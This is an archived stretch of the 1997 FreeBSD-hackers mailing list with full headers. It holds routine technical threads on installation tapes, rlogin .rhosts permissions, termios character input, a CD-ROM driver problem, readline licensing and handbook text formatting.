sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id EAA09361 for ; Tue, 24 Jun 1997 04:30:29 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA16777; Tue, 24 Jun 1997 09:11:04 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id IAA01084; Tue, 24 Jun 1997 08:01:53 +0200 (MET DST) Message-ID: <19970624080153.IB53446@uriah.heep.sax.de> Date: Tue, 24 Jun 1997 08:01:53 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: bartol@salk.edu (Tom Bartol) Cc: hackers@FreeBSD.ORG Subject: Re: Installation tape organization References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Tom Bartol on Jun 23, 1997 14:19:46 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Tom Bartol wrote: > I'd like to download the installation files for freebsd-current and make > my own installation tape on a QIC-150 scsi tape drive. Where can I find > documentation on how such a tape should be organized? Boot the installation floppy, and read the documentation. It's described there. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Jun 24 04:35:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA09660 for hackers-outgoing; Tue, 24 Jun 1997 04:35:12 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id EAA09596 for ; Tue, 24 Jun 1997 04:34:45 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA16622 for hackers@FreeBSD.ORG; Tue, 24 Jun 1997 08:10:00 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id HAA01009; Tue, 24 Jun 1997 07:50:16 +0200 (MET DST) Message-ID: <19970624075016.AN14722@uriah.heep.sax.de> Date: Tue, 24 Jun 1997 07:50:16 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: direct access References: <33AEB13C.2781E494@whistle.com> <199706240237.MAA21926@genesis.atrad.adelaide.edu.au> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199706240237.MAA21926@genesis.atrad.adelaide.edu.au>; from Michael Smith on Jun 24, 1997 12:07:37 +0930 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Michael Smith wrote: > So sue me; I use KVTOPHYS()/PHYSTOKV() all the time anyway, as we > all should 8) Sued. Guilty of not yet writing KVTOPHYS(9). ;-) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Jun 24 05:16:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA11223 for hackers-outgoing; Tue, 24 Jun 1997 05:16:06 -0700 (PDT) Received: from ifki50.informatik.fh-muenchen.de (ifki50.informatik.fh-muenchen.de [129.187.208.142]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA11181 for ; Tue, 24 Jun 1997 05:16:01 -0700 (PDT) Received: from ki80 (ki80.informatik.fh-muenchen.de [129.187.208.29]) by ifki50.informatik.fh-muenchen.de (8.8.5/8.8.5) with SMTP id OAA79604; Tue, 24 Jun 1997 14:15:55 +0200 Message-ID: <33AFBA7A.794B@informatik.fh-muenchen.de> Date: Tue, 24 Jun 1997 14:15:54 +0200 From: Michael Kirstein Organization: Fachhochschule Muenchen X-Mailer: Mozilla 3.01 (X11; I; AIX 2) MIME-Version: 1.0 To: freebsd-hackers@FreeBSD.ORG Subject: Error in if_de.c Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hello After the change von revision 1.64 to 1.65 from /usr/src/sys/pci/if_de.c the Networks stops after som small packages. ( The telnet session stop.) -- Michael Kirstein, Germany - Munich Fachhochschule Muenchen michael@ifki50.informatik.fh-muenchen.de From owner-freebsd-hackers Tue Jun 24 05:32:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA11931 for hackers-outgoing; Tue, 24 Jun 1997 05:32:57 -0700 (PDT) Received: from plaut.de (ns.plaut.de [194.39.177.166]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id FAA11926 for ; Tue, 24 Jun 1997 05:32:53 -0700 (PDT) Received: from totum.plaut.de (totum.plaut.de [194.39.177.9]) by plaut.de (8.6.12/8.6.12) with ESMTP id OAA03454; Tue, 24 Jun 1997 14:32:39 +0200 Received: from localhost (afuchs@localhost) by totum.plaut.de (8.8.5/8.7.3) with SMTP id OAA03358; Tue, 24 Jun 1997 14:32:41 +0200 (MET DST) Date: Tue, 24 Jun 1997 14:32:41 +0200 (MET DST) From: alex fuchsstadt To: Jose Monteiro cc: hackers@FreeBSD.ORG Subject: Re: Rlogin from win95 to FreeBSD In-Reply-To: <33af9ea4.6798229@mail.co.telenet.pt> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 24 Jun 1997, Jose Monteiro wrote: > Hi, > > I'm having a problem with rlogin. > > I want to be able to login from Win95 to a FreeBSD box, without using > password, so, I've made the necessary arrangements in $HOME/.rhosts > like this: > > bsd.host.i.want username > > but when i use a Rlogin client (crt) to login, it always ask me for > the password. > > can anyone help? > Check permissons on file .rhost, rlogin works without asking for password with -rw------- (600). like "man rhosts" says: .... For security reasons, a users .rhosts file will be ignored if it is not a regular file, or if it is not owned by the user, or if it is writable by anyone other than the user. Alexander Fuchsstadt -------------------- R/3-Basis Plaut Software GmbH From owner-freebsd-hackers Tue Jun 24 05:43:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA12282 for hackers-outgoing; Tue, 24 Jun 1997 05:43:17 -0700 (PDT) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA12277 for ; Tue, 24 Jun 1997 05:42:44 -0700 (PDT) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.6/8.8.6) with ESMTP id IAA15628; Tue, 24 Jun 1997 08:43:06 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.6/8.8.6) with SMTP id IAA12986; Tue, 24 Jun 1997 08:43:17 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Tue, 24 Jun 1997 08:43:17 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca Reply-To: hoek@hwcn.org To: Steve Howe cc: freebsd-hackers Subject: Re: BSD io In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997, Steve Howe wrote: > i remember i asked once how to read in a character mode > from the keyboard, and while i was, as always, humbled > by people reaching out to help, i ended up with 3 responses > with pages of source code each, and no real clear cut answer. I would guess that the question, or rather, the way it was worded, implied that you wanted to read directly from the keyboard. What you probably really wanted to do was to read input in terms of single characters instead of lines (ie. have getchar(), etc. return as soon as their is a single character available, instead of waiting until there is a whole line avaiable and then returning the first character in the line). To be even more general, this was probably for the purposes of some interactive program. However, when asked "How do I read a single character from the keyboard?" most people on this list would probably answer, strictly, how to read a character from the keyboard (in the most direct manner acceptable). However, when asked "How can I make my interactive program read single characters of input instead of whole lines", most would probably answer quickly "Oh! Just turn off canonical input processing." If they're talkative, they might even throw in a reference to man 4 termios, or suggest the use of ncurses to make the program easier to write. > #include and then use cbreak(); > OR > #include and then use system("stty cbreak"); #include #include struct termios old, new; main(){ tcgetattr (fileno(stdin), &old); new = old; new &= ~(ICANON|ECHO); tcsetattr (fileno(stdin), TCSANOW, &new); /* Do my stuff */ tcsetattr (fileno(stdin), TCSANOW, &old); } /* Might want to fiddle MIN and TIME from man 4 termios, but in practice, it'll not matter much */ > because i find it more efficient to scan a screen for data entries > / error checking than to write code that deals, in a global sense, > with each field entered by a cursor. You don't want to scan the screen directly, you probably just want to throw what gets entered onscreen into a bunch of separate strings, and then scan those. I would guess that some interpreted your quote slightly differently, though. Incidentally, ncurses is distributed with a (completely-documented) libforms which (supposedly) makes it fairly easy to do that. I can't reccomend it, as I've never used it, though... (Also, libforms gets stripped from ncurses before ncurses is distributed with FreeBSD, so you have to grab and build ncurses yourself. I believe it builds out-of-box.) > since when does strings work on deleted files? > others say fsbs (whatever) will do the trick. Well, I'm using strings on /dev/wd0 right now to try and find any instances of the word "fuck" on my hdd. su; strings /dev/wd0 | more. I'm suprised, actually... It's been going for a while and still hasn't found anything (and all my MS programs are at the front of the disk! :)... Maybe it's getting screwed-up by case-sensitivity... -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Tue Jun 24 06:01:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA13093 for hackers-outgoing; Tue, 24 Jun 1997 06:01:45 -0700 (PDT) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA13086 for ; Tue, 24 Jun 1997 06:01:38 -0700 (PDT) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.6/8.8.6) with ESMTP id JAA17207; Tue, 24 Jun 1997 09:01:59 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.6/8.8.6) with SMTP id JAA15168; Tue, 24 Jun 1997 09:02:08 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Tue, 24 Jun 1997 09:02:07 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca Reply-To: hoek@hwcn.org To: Steve Howe cc: Michael Smith , freebsd-hackers Subject: Re: BSD io In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 24 Jun 1997, Steve Howe wrote: > i did - i initially wanted fast char i/o from/to vga, > preferably portable, so it seems as if S-Lang would've > been the "obvious" choice from the start, but none of Hehe. :) But this isn't what S-Lang does! As proof, S-Lang will (well, should... :) work under an xterm or a dumb-terminal, or ..., all of which make it impossible (or impractical) for slang to directly scan the video memory. > > S-Lang is a C programmer's library that includes routines for the rapid > > development of sophisticated, user friendly, multi-platform applications. > > The S-Lang library includes the following: "multi-platform" ... as in platforms that don't have VGA! :) > > Low level tty input routines for reading single characters at a time. > > Keymap routines for defining keys and manipulating multiple keymaps. > > High level screen management routines for manipulating both > > monochrome and color terminals. These routines are very "terminal", above, is a word used to suggest any screen which programs can output to. Screen, depending on the context, may be used to mean a much more restricted and lower-level view of the moniter & video card on a PC (or, it may not -- the word's a ambigious). > > Low level terminal-independent routines for manipulating the display > > of a terminal. "terminal" :) > > Uh. As this message is rated PG, I'll reserve my judgement on that one. > > huh? i have no idea what you are talking about, i spent years fine > tuning code and algorithms for certain things .... I would suggest that this results from a lack of common semantical and abstractional (good grief! WTF does that word mean? I'm starting to sound like Terry Lambert! ;) basis, rather than from the situation of two people trying to go two opposite directions (which is what the casual observer would probably believe :). -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Tue Jun 24 06:35:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA14686 for hackers-outgoing; Tue, 24 Jun 1997 06:35:49 -0700 (PDT) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA14681 for ; Tue, 24 Jun 1997 06:35:47 -0700 (PDT) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.6/8.8.6) with ESMTP id JAA20865; Tue, 24 Jun 1997 09:36:05 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.6/8.8.6) with SMTP id JAA19474; Tue, 24 Jun 1997 09:36:16 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Tue, 24 Jun 1997 09:36:16 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca To: Tim Vanderhoek cc: Steve Howe , freebsd-hackers Subject: Re: BSD io In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 24 Jun 1997, Tim Vanderhoek wrote: > #include > #include > struct termios old, new; > main(){ > tcgetattr (fileno(stdin), &old); new = old; > new &= ~(ICANON|ECHO); new.c_lflag &= ~(ICANON|ECHO); Actually, FWIW, I like the section the GNU C library reference manual has on this. Easier, more on-topic, and nicer than man 4 termios. The manual is on the web in html (search Yahoo, "GNU Info"), if anyone cares... -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Tue Jun 24 06:47:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA15066 for hackers-outgoing; Tue, 24 Jun 1997 06:47:43 -0700 (PDT) Received: from iclub.nsu.ru (max@iclub.nsu.ru [193.124.222.66]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA15061 for ; Tue, 24 Jun 1997 06:47:29 -0700 (PDT) Received: from localhost (max@localhost) by iclub.nsu.ru (8.8.5/8.8.4) with SMTP id UAA08917 for ; Tue, 24 Jun 1997 20:46:45 +0700 Date: Tue, 24 Jun 1997 20:46:45 +0700 (NSD) From: Max Khon To: freebsd-hackers@freebsd.org Subject: Does NEC CD-ROM 222 3.1k work under 2.2.2-RELEASE? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk hi, there! we've got ASUS T2P4 (rev 3.10), Adaptec 2940U, NEC CD-ROM 222 3.1k system locks up every time i run 'cdcontrol status' 'cdcontrol play xx' does not work either (cd0(ahc0:3:0): ILLEGAL REQUEST asc:24,0 Invalid field in CDB) 'cdcontrol play' works but CD plays only 1-2 tracks and then stops playing under DOS everything seems ok dmesg follows: -------------------------------------------------------------------------- Copyright (c) 1992-1997 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 2.2.2-RELEASE #0: Tue May 20 10:45:24 GMT 1997 jkh@time.cdrom.com:/usr/src/sys/compile/GENERIC CPU: Pentium (200.46-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x52c Stepping=12 Features=0x1bf real memory = 67108864 (65536K bytes) avail memory = 62435328 (60972K bytes) Probing for devices on PCI bus 0: chip0 rev 3 on pci0:0 chip1 rev 1 on pci0:7:0 chip2 rev 0 on pci0:7:1 vx0 <3COM 3C590 Etherlink III PCI> rev 0 int a irq 12 on pci0:9 utp[*utp*] address 00:20:af:f7:3c:33 Warning! Defective early revision adapter! vga0 rev 64 int a irq 10 on pci0:11 ahc0 rev 0 int a irq 11 on pci0:12 ahc0: aic7880 Single Channel, SCSI Id=7, 16 SCBs ahc0 waiting for scsi devices to settle (ahc0:0:0): "IBM DCAS-34330 S61A" type 0 fixed SCSI 2 sd0(ahc0:0:0): Direct-Access 4134MB (8467200 512 byte sectors) (ahc0:1:0): "IBM DCAS-34330 S61A" type 0 fixed SCSI 2 sd1(ahc0:1:0): Direct-Access 4134MB (8467200 512 byte sectors) (ahc0:3:0): "NEC CD-ROM DRIVE:222 3.1k" type 5 removable SCSI 2 cd0(ahc0:3:0): CD-ROM cd present [218037 x 2048 byte records] Probing for devices on the ISA bus: sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0> ed0: disabled, not probed. ed1: disabled, not probed. fe0: disabled, not probed. sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A sio2: disabled, not probed. sio3: disabled, not probed. lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface lpt1: disabled, not probed. mse0: disabled, not probed. psm0: disabled, not probed. fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: NEC 72065B fd0: 1.44MB 3.5in wdc0: disabled, not probed. wdc1: disabled, not probed. bt0: disabled, not probed. uha0: disabled, not probed. aha0: disabled, not probed. aic0: disabled, not probed. nca0: disabled, not probed. nca1: disabled, not probed. sea0: disabled, not probed. wt0: disabled, not probed. mcd0: disabled, not probed. matcdc0: disabled, not probed. scd0: disabled, not probed. ie0: disabled, not probed. ie1: disabled, not probed. ep0: disabled, not probed. ex0: disabled, not probed. le0: disabled, not probed. lnc0: disabled, not probed. ze0: disabled, not probed. zp0: disabled, not probed. npx0 flags 0x1 on motherboard npx0: INT 16 interface apm0 on isa apm: found APM BIOS version 1.1 changing root device to sd0a cd0(ahc0:3:0): ILLEGAL REQUEST asc:24,0 Invalid field in CDB ------------------------------------------------------------------------- /max PS please reply to my e-mail too. i'm not subscribed to freebsd-hackers mailinglist From owner-freebsd-hackers Tue Jun 24 07:45:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA17837 for hackers-outgoing; Tue, 24 Jun 1997 07:45:33 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA17831 for ; Tue, 24 Jun 1997 07:45:29 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id AAA24909; Wed, 25 Jun 1997 00:15:18 +0930 (CST) From: Michael Smith Message-Id: <199706241445.AAA24909@genesis.atrad.adelaide.edu.au> Subject: Re: BSD io In-Reply-To: from Steve Howe at "Jun 24, 97 01:00:20 am" To: un_x@anchorage.net (Steve Howe) Date: Wed, 25 Jun 1997 00:15:18 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve Howe stands accused of saying: > On Tue, 24 Jun 1997, Michael Smith wrote: > > > "read in a character mode from the keyboard" doesn't actually _mean_ > > anything, so it's impossible to give you a useful answer. How about > > you explain the situation you're trying to handle, rather than coming > > up with half a solution on your own and having us try to guess at it? > > i did - i initially wanted fast char i/o from/to vga, > preferably portable, so it seems as if S-Lang would've > been the "obvious" choice from the start, but none of > you hackers even mentioned it. so "hackers" advice > wasn't as good as my hunch. Well, I wouldn't be paying much for your hunch then., as has already been pointed out. And I'll state, again, that you did _not_ state your requirement in any sort of comprehensible fashion. Or, more specifically, the only fashion in which your query _could_ be comprehended was answered by several people (including myself), and yet it seems that you'd be much happier finding an answer to a different question entirely, on your own, and despite the fact that the new question doesn't fit the new answer, this is cause for smug self-satisfaction and gloating. Are you aware that this is meant to be a forum for technical discussion? Having had my time and efforts thus abused, you can be pretty sure that I'm not terribly kindly disposed to you just now. > > > > Firstly; why on earth do you want to read back from the screen anyway? > > > > because i find it more efficient to scan a screen for data entries > > > / error checking (at the end of user input) than to write code that > > > deals with all field related functions as each field is entered by a > > > cursor. > > > Uh. As this message is rated PG, I'll reserve my judgement on that one. > > huh? i have no idea what you are talking about, i spent years fine > tuning code and algorithms for certain things .... Well, all I can say is that in the "years" you have spent fine tuning your code, you must have been locked completely away from any source of correctional inspiration, or for that matter much in the way of coherent thought. If I had to bother explaining why reading stuff back off the screen was such a totally losing idea to someone I was training, I'd probably be having some quiet words to their employer about a responsibility transfer to something more appropriate like, say, janitorial work. Ultimately, it is such a basic violation of the premises and abstractions on which a user interface is based that it's literally unthinkable. > > Unfortunately, RAM tests aren't worth spit in most cases. > > unfortunately, i can't make the us government change it's mind > all by myself or my opinions. *shrug* Another case of attempting to retroactively justify a pointless aside. Your original point was "you guyz must kno nuthing about RAM testerz", wheras the reality is that we know too _much_ about RAM teters. The only RAM testers worth using are standalone hardware in the $10k+ bracket. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Jun 24 07:46:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA17880 for hackers-outgoing; Tue, 24 Jun 1997 07:46:04 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA17873 for ; Tue, 24 Jun 1997 07:46:01 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id HAA12392 for ; Tue, 24 Jun 1997 07:46:20 -0700 (PDT) To: hackers@freebsd.org Subject: I have 230 "spindled" 2.2.1 CDs to give away... Date: Tue, 24 Jun 1997 07:46:20 -0700 Message-ID: <12373.867163580@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk A CDROM on the spindle means without jewel case or cover, just the CDs themselves. The assumption generally is that you'll attach the CDs to some sort of hand-out which describes them. Schools are, of course, my favorite target for this so I'll favor requests from the over all, but if you work for a large company and feel that this many CDs would help your evangelism, by all means please write me! Minimum quantity is 100, since that's one full spindle, though anyone asking for the loose 30 CDs I have at the bottom of the box can get those too. Thanks! Jordan From owner-freebsd-hackers Tue Jun 24 08:12:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA19083 for hackers-outgoing; Tue, 24 Jun 1997 08:12:39 -0700 (PDT) Received: from main.gbdata.com (USR1-1.detnet.com [207.113.12.16]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA19077 for ; Tue, 24 Jun 1997 08:12:36 -0700 (PDT) Received: (from gclarkii@localhost) by main.gbdata.com (8.8.5/8.8.5) id KAA02969; Tue, 24 Jun 1997 10:13:09 -0500 (CDT) From: Gary Clark II Message-Id: <199706241513.KAA02969@main.gbdata.com> Subject: Re: use of readline() To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Tue, 24 Jun 1997 10:13:09 -0500 (CDT) Cc: msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG In-Reply-To: <8693.867068734@time.cdrom.com> from "Jordan K. Hubbard" at "Jun 23, 97 05:25:34 am" X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard wrote: > > I belive that readline is the GNU version correct? > > Would this not make all of these programs fall under the GNU Copyleft? Sorry, I had not read the exact copyright for READLINE. I know that some of the libs were still under the GPL vice the LGPL. Even then, the LGPL can still cause "problems". Some of the terms are a little scary. (Nothing major, but....) > > No. Go read the LGPL. Yes, I know what the LGPL is... Gary -- Gary Clark II (N5VMF) | I speak only for myself and "maybe" my company gclarkii@GBData.COM | Member of the FreeBSD Doc Team Providing Internet and ISP startups - http://WWW.GBData.com for information FreeBSD FAQ at ftp://ftp.FreeBSD.ORG/pub/FreeBSD/docs/FAQ.latin1 From owner-freebsd-hackers Tue Jun 24 08:16:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA19304 for hackers-outgoing; Tue, 24 Jun 1997 08:16:06 -0700 (PDT) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA19295 for ; Tue, 24 Jun 1997 08:16:02 -0700 (PDT) Received: from gns.com.br (dl0235-bsb.GNS.com.br [200.239.56.235]) by agora.rdrop.com (8.8.5/8.8.5) with ESMTP id IAA16997 for ; Tue, 24 Jun 1997 08:15:03 -0700 (PDT) Received: (from dcs@localhost) by gns.com.br (8.8.5/8.8.5) id MAA00861 for hackers@FreeBSD.ORG; Tue, 24 Jun 1997 12:09:34 -0300 (EST) From: "Daniel C. Sobral" Message-Id: <199706241509.MAA00861@gns.com.br> Subject: handbook.ascii In-Reply-To: <199706230645.XAA16529@hub.freebsd.org> from "owner-hackers-digest@FreeBSD.ORG" at "Jun 22, 97 11:45:55 pm" To: hackers@FreeBSD.ORG Date: Tue, 24 Jun 1997 12:09:34 -0300 (EST) Disclaimer: Klaatu Barada Nikto! X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > From: Annelise Anderson > Date: Sun, 22 Jun 1997 19:23:43 -0700 (PDT) > Subject: Re: Handbook - ascii form?? > [...] > The various suggestions to repair this text, such as piping it through > col -b, running little sed scripts, and so forth are inappropriate from > the point of view that this document (and the FAQ, which has the same > problems) are supposed to be useful to people running dos/Windows as well > as people who may not yet be familiar with various unix utilities. [..] > From: Joseph Stein > Date: Sun, 22 Jun 1997 20:15:29 -0700 (PDT) > Subject: Re: Handbook - ascii form?? > [...] > which is exactly what will happen on a non-conforming printer that does > not understand how to interpret a 'DEL' character (ascii 008 or ^H) > [...] > > But, have you tried those suggestions? Try outputting the file to a line > printer and see if your results are any better. [...] > Laser-jet printers (in my opinion) are notorious for not interpreting ASCII > 008 correctly. > [...] > > It's flaky hardware (or in the case of Micro$loth, buggy software). > > From: Chuck Robey > Date: Sun, 22 Jun 1997 23:37:36 -0400 (EDT) > Subject: Re: Handbook - ascii form?? > [...] > > sed -e "s/.^v^H//g" < handbook.ascii.orig > handbook.ascii > > groff does that to sorta fake the underlining and boldfacing. Gee, talk about missing the point! Annelise is suggesting that the main target of handbook.ascii are Win95 users (with Laserjet/Deskjet printers, obviously). In which I agree. Thus, this file should be targetted at what they have: edit, DOS' more, notepad, Word 7.0 and similar programs. That's the whole point of using a stripped down format: so everyone can read. Now, it seems you are suggesting that handbook.ascii is actually targetted at people who want a stripped down format that won't work on most software/hardware available to Unix newbie's. Is that so? It seems downright stupid that the *handbook*, the first contact with the system, requires knowledge about Unix commands or file formats! > From: Annelise Anderson > Date: Sun, 22 Jun 1997 22:49:59 -0700 (PDT) > Subject: Re: Handbook - ascii form?? > > On Sun, 22 Jun 1997, Joseph Stein wrote: > > > > FFrreeeeBBSSDD HHaannddbbooookk > > > > which is exactly what will happen on a non-conforming printer that does > > not understand how to interpret a 'DEL' character (ascii 008 or ^H) > > There aren't any ^H characters in the file, as far as I can tell. > A hex dump shows all the duplicate letters. Have you downloaded these files using ftp in ascii mode, by any chance? Because the handbook.ascii I have here has all BS characters. -- Daniel C. Sobral (8-DCS) dcs@gns.com.br No doubt Jack the Ripper excused himself on the grounds that it was human nature. From owner-freebsd-hackers Tue Jun 24 08:22:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA19715 for hackers-outgoing; Tue, 24 Jun 1997 08:22:17 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA19709 for ; Tue, 24 Jun 1997 08:22:14 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA05399; Tue, 24 Jun 1997 11:21:35 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Tue, 24 Jun 1997 11:21 EDT Received: from lakes.water.net (lakes [10.0.0.3]) by ponds.water.net (8.8.5/8.7.3) with ESMTP id HAA03144; Tue, 24 Jun 1997 07:32:35 -0400 (EDT) Received: (from rivers@localhost) by lakes.water.net (8.8.5/8.6.9) id HAA04453; Tue, 24 Jun 1997 07:41:05 -0400 (EDT) Date: Tue, 24 Jun 1997 07:41:05 -0400 (EDT) From: Thomas David Rivers Message-Id: <199706241141.HAA04453@lakes.water.net> To: ponds!staff.communique.net!mango, ponds!atrad.adelaide.edu.au!msmith Subject: Re: core dump and tftp ... Cc: ponds!freefall.freebsd.org!freebsd-hackers Content-Type: text Sender: 